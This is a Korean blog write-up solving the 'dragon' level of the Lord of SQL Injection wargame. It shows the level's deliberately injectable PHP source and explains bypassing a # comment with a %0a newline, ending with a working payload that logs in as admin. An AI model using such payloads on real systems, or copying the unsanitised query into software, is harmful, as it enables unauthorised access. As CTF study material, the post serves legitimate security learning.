728x90
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("dragon");
highlight_file(__FILE__);
?>
guest뒤에 #으로 주석처리가 된다. mysql에서 #은 한줄 주석 처리다.
pw에 %0a(개행) 문자를 삽입하여 다음 줄로 줄바꿈으로써 주석을 우회한다.
그리고 앞에 id='guest'가 살아있으므로 and pw='' 를 이용하여 guest 조건을 거짓으로 만든다.
답: ?pw=?%0a and pw='' or id='admin
728x90
'Lord of SQL Injection' 카테고리의 다른 글
dark_eyes (0) | 2023.01.01 |
---|---|
iron_golem (0) | 2023.01.01 |
xavis (2) | 2023.01.01 |
nightmare (0) | 2022.12.23 |
zombie_assassin (0) | 2022.12.23 |